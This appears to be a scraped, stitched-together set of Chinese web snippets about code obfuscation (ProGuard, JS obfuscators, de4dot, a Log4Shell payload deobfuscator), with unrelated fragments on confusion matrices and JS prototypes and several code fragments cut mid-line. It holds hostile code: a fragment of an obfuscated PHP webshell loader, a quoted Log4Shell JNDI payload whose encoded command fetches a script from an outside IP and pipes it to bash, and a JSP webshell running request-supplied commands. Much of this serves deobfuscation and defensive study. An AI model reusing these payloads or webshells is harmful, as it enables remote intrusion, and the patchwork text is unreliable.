面对此景,我们有没有办法,去混淆一些核心代码,来捍卫自己劳动成果呢? 作为臣服于 Java 的子民们,一切又都是那么的幸福,诸多开源的轮子帮你解决了这个问题,今天不妨尝试用一用 ProGuard 这款轮子。 ProGuard 是一个压缩(shrink)、优化(optimize)和混淆(obfuscate) Java 字节码文件的免费的工具。 在 Input/Output 中,Add input 选择要混淆的 JAR 包,注意一定要添加待混淆的 JAR 包依赖的所有类库,Add output 指定输出文件名(例如 a.jar);压缩(Shrinking 采用 JD-GUI 打开根据混淆输出的 JAR,效果貌似像那么回事儿。 ?
$c; $q1="O00O0O"; $q2="O0O000"; $q3="O0OO00"; $q4="OO0O00"; $q5="OO0000"; $q6="O00OO0"; $s urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4% $q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6. $q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'.$q2.',0,$'.
这种方式就是本篇的主题,代码混淆(Obfuscation)混淆的核心概念在正式开始实战前,先对代码混淆的核心概念有一些认知。场景为什么需要代码混淆呢? 原理Java 是编译成Class字节码再被JVM所运行的,所以编译和运行阶段都是可以混淆的关键阶段。字节码工具: ASM、Javassist、Byte Buddy。 使用 ProGuard 混淆一款老牌的开源代码混淆器,截止目前,github上最新版为:v7.6,支持JDK 23。下载与打开任意版本都可以,内部自带快捷使用、演示包。 环境,可以直接双击lib/proguardgui.jar来启动,这是一个友好的 Java 构建的桌面版。 启动失败请检查环境或者尝试用java -jar 的命令来打开。使用说明首页就是广告,从第一个input / output上手,设置要输入等待混淆的jar包,以及设置输出路径。下图就是我的设置完的效果。
date.getTime()) { //执行相关操作 System.out.println("时间验证通过..."); } } } 2.采用混淆方法 ; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.text.DateFormat ; import java.text.SimpleDateFormat; import java.util.Arrays; import java.util.Base64; import java.util.Base64 mLCC = new SimpleDateFormat(A[b[2]]); if (G(A[b[3]].equals(strpw))) System.out.println(A[b[4] "uX8Ds2zyr8EqcR6UE9pyWlqyUMsAaDgO", "VGtVr"); A[b[3]] = b("QlJbXE5CUltcTkJS", "zjcdv"); A[b[4]
JS混淆和反混淆常见思路 在了解了js代码的执行过程后,我们来看如何对js进行混淆。 可以想到比如我们想实现一个js混淆器我们该怎么做呢,要不就是用正则替换,要不就是在AST阶段生成混淆代码,用正则替换实现简单但是效果也比较差,现在js混淆大多数都是在不改变AST的情况下去生成混淆后的代码 代码混淆 这里我们抛砖引玉,讲一些比较常见的混淆方式,实际上混淆的办法非常的多。 \x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\ o * 0x40 + p : p, n++ % 0x4) ?
3.buildConfigField 不显示log日志 4.signingConfig signingConfigs.config配置签名文件文件 自定义混淆规则 自定义混淆方案适用于大部分的项目 # 中注册,需要额外保护下 -keep public class * extends android.support.v4.app.Fragment -keep public class * extends ”可以分为两部分,一部分是Java 代码的优化与混淆,依靠 proguard混淆器来实现;另一部分是资源压缩,将移除项目及依赖的库中未被使用的资源(资源压缩严格意义上跟混淆没啥关系,但一般我们都会放一起用 混淆。把类名、属性名、方法名替换为简短且无意义的名称; 预校验。添加预校验信息。这个预校验是作用在Java平台上的,Android平台上不需要这项功能,去掉之后还可以加快混淆速度。 android.support.** -dontwarn android.support.** # 保留继承的 -keep public class * extends android.support.v4.
关于Ox4Shell Ox4Shell是一款针对Log4Shell Payload代码反混淆工具,自从Log4Shell漏洞(CVE-2021-44228)被发现之后,很多工具都开始尝试对Log4Shell 该工具旨在帮助广大研究人员查看经过混淆处理的Log4Shell Payload的真实内容。 包含待反混淆的Payload文件路径 (默认: None) (向右滑动、查看更多) 模拟数据 Log4j代码库有几个独特的查询函数,允许用户查找环境变量和Java进程的运行时信息等。 -1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin" }, "sys": { "java.version": " 的模拟数据能力来对下列Payload进行反混淆处理: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.
描述 自 Log4Shell 漏洞 (CVE-2021-44228) 发布以来,创建了许多工具来混淆 Log4Shell 有效负载,使安全工程师的生活成为一场噩梦。 该工具旨在解开经过混淆的 Log4Shell 有效负载的真实内容。 例如,考虑以下混淆的有效负载: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA ", "user.name": "ubuntu" }, "java": { "version": "Java version 16.0.2", " 的模拟功能对以下有效负载进行反混淆: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.
目标: 将代码混淆,也就是给第三方源代码,让他们只能运行,却看不懂代码。 用到的工具: 混淆jar的工具:proguard5.1 下载地址:http://download.csdn.net/detail/lk7688535/9625472 反编译jar的工具:xjad2.2 如上操作后便得到混淆后的jar包,再用xjad反编译就可得到混淆后的源代码了~
这俩天遇到了这样的问题,反编译JAR包之后,出现了没法再javac的问题(修改java文件再编译回去的想法泡汤),原因大概是因为JAR的发行商对其作了很多的加密混淆处理,和签名处理。 另外,它还提供一个库,可以让开发人员读写Java类文件和字节码。 这里有一点其实在java文件中定义的各种参数,编译成字节码文件的时候,都变成了字符串,只是逻辑位置不同,处于不同的域中。 // 使用JDK编译代码 javac XX.java 将需要去签名的jar包放到编译好的class文件的目录,或者记住jar包目录,打开DOS窗口: // 执行XX,如果是同一个文件夹 java XX <JAR名称> <去签名之后的JAR包名称> java -cp .
webshell unicode 方法名随机 方法的参数名随机 方法体内变量名随机 字符串转byte的形式(new String(new byte[])) 简单的数字XOR处理 4 tomcat通杀混淆技术摘要 文中写到:tomcat8.0.50中对应着UTF-8\UTF-16BE\UTF-16LE\ISO-10646-UCS-4\CP037作为前置编码,当然后置就无所谓,基本上java中的都行 双编码存在坑点 >''' a1 = '''<% Process p = Runtime.getRuntime().exec(request.getParameter("y4tacker")); java.io.BufferedReader input = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String line 无论是tomcat混淆或者是代码层的混淆,都只能增加蓝队的解密/还原代码的成本。tomcat混淆更偏向于代码不可读,代码层混淆更偏向于代码的可读性差。
github上的,免费的,英文的,JS混淆工具:https://js-obfuscator.github.io/UI:混淆测试:JS源码:(function (){ var domain = "js-obfuscator.com getFullYear() + "," + domain; }; var console_log = console.log; console_log(copyright())})();JS混淆结果 :(function (_0xe, _0xd) { var _0x4ag10b = "\u006A\u0073\u002D\u006F\u0062\u0066\u0075\u0073\u0063\u0061 new Date()['\u0067\u0065\u0074\u0046\u0075\u006C\u006C\u0059\u0065\u0061\u0072']() + "\u002C" + _0x4ag10b u006F\u0067']; _0xd = (885711 ^ 885702) + (139322 ^ 139320); _0xbe(_0xea());})();没改变代码结构,只是对代码中的每一行进行混淆变化
文章目录 一、Proguard 默认混淆结果 二、-keepclassmembers 混淆效果 二、-keepclasseswithmembernames 混淆效果 更多 ProGuard 混淆配置参考 , Thread , 其余 Java 文件都被混淆 ; 二、-keepclassmembers 混淆效果 ---- -keepclassmembers 作用只是保证类成员 ( 成员变量 , 成员方法 ) 不被混淆 , 类名还是会被混淆的 ; # 指定 kim.hsl.handler.Handler 类成员不被混淆 -keepclassmembers public class kim.hsl.handler.Handler 在编译后的结果中 , 类名与成员名称都被混淆了 , 因为没有配置不被混淆的成员 ; 使用 -keepclassmembers 指定保留 Handler 中的 public void *(*) 样式的方法不被混淆 *(*); } 下面是在一个被混淆的类中 , 找到了没有被混淆的 kim.hsl.handler.Handler 的成员方法 ; 二、-keepclasseswithmembernames 混淆效果
请尊重他人的劳动成果,转载请注明出处:《Android代码混淆技巧》 因为Android是使用Java开发的,所以开发者可以使用ProGuard对代码进行混淆。 最后,预校验的Java6或针对Java MicroEdition的所述处理后的码。 下面就和大家分享一下对使用了第三方库的项目进行混淆的经验。 ProGuard默认会对第三方库也进行混淆的,而第三方库有的已经混淆过了,有的使用了Java反射技术,所以我们在进行代码混淆的时候要排除这些第三方库。 4.对第三方库中的类不进行混淆 a.混淆时保护引用的第三方jar包 如:-libraryjars libs/baidumapapi_v3_2_0.jar #保护引用的第三方jar包不被混淆 注意:在使用 } -dontwarn android.support.v4.** ###################other#################### # slidingmenu 的混淆 -dontwarn
混淆矩阵是一个表,经常用来描述分类模型(或“分类器”)在已知真实值的一组测试数据上的性能。混淆矩阵本身比较容易理解,但是相关术语可能会令人混淆。 让我们从一个二进制分类器的混淆矩阵示例开始(尽管它可以很容易地扩展到两个以上的类): ? 我们能从这个矩阵中了解到什么? 有两种可能的预测类:“yes”和“no”。 我已经将这些项添加到混淆矩阵中,并且添加了行和列总数: ? 这是一个比率的列表,通常是从一个混淆矩阵的二元分类器里得出: 准确率(Accuracy):总的来说,分类器的准确率是多少?
混淆检测 是一款 Binary Ninja 插件,用于检测二进制文件中的混淆代码和可疑代码结构(例如状态机)。 此类代码结构可能实现 混淆代码 状态机和协议 C&C 服务器通信 字符串解密例程 加密算法 特征 识别大型二进制文件中有趣的代码结构 在 Binary Ninja 的图形视图中突出显示未对齐的指令 高效且与架构无关的实现
4.预检测(Preveirfy):在java平台上对处理后的代码进行再次检测。 详细介绍 (1) ProGuard 配置 -include{filename}:从给定的文件中读取配置参数。 、方法和属性的对应关系 3)seeds.txt 列出了没有被混淆的类和属性 4)usage.txt 列出了没有被打到apk文件中的代码 这些文件置于<project_root (java.io.ObjectInputStream); java.lang.Object writeReplace(); java.lang.Object readResolve(); # 针对android-support-v4.jar的解决方案 -libraryjars libs/android-support-v4.jar -dontwarn android.support.v4 .** -keep class android.support.v4.** { *; } -keep interface android.support.v4.app.** { *; } -keep public
序 本文主要研究一下如何使用proguard混淆java9代码 maven <plugin> <groupId>com.github.wvengen }/jmods/java.base.jmod(! [proguard] Reading library jar [/Users/demo/.m2/repository/org/apache/logging/log4j/log4j-to-slf4j/2.10.0 /log4j/log4j-api/2.10.0/log4j-api-2.10.0.jar] [proguard] Note: duplicate definition of library class /org/slf4j/jul-to-slf4j/1.7.25/jul-to-slf4j-1.7.25.jar] [proguard] Reading library jar [/Users/demo/
原型继承就是可以使一个对象可以使用另一个对象上面的某一些属性,要求是这个对象没有这个属性。如果有这个属性,就直接使用自己的了(访问器属性除外)。
这位师傅用反编译工具打开后部分方法名显示为不规则的字符串,混淆代码的操作比较明显,此类混淆经过解密得知是.NET Reactor,笔者曾经也用过此工具混淆过代码,如下图 反混淆的工具有很多,其中de4dot 0x02 踩坑 由截止目前2022.06.22,最新版本为 de4dot v3.1.41592.3405 ,项目地址:https://github.com/de4dot/de4dot,项目没有编译好的程序 检测混淆 de4dot 提供 -d选项检测混淆器类型,如下命令检测出混淆器是 .NET Reactor de4dot.exe -d c:\input\Dx.OfficeView.dll 2. 批量反混淆 dde4dot 提供如下命令批量反混淆处置,将被反混淆的DLL文件放到input目录,解密后的程序集保存到output目录,-r表示递归 ,-ru表示忽略未知文件。 -ro表示输出文件到目标文件夹 de4dot.exe -r c:\input -ru -ro c:\output 反混淆解密后用dnspy打开能看到正常C#代码,可以继续愉快的代码审计了,解密后把文件发给了这位师傅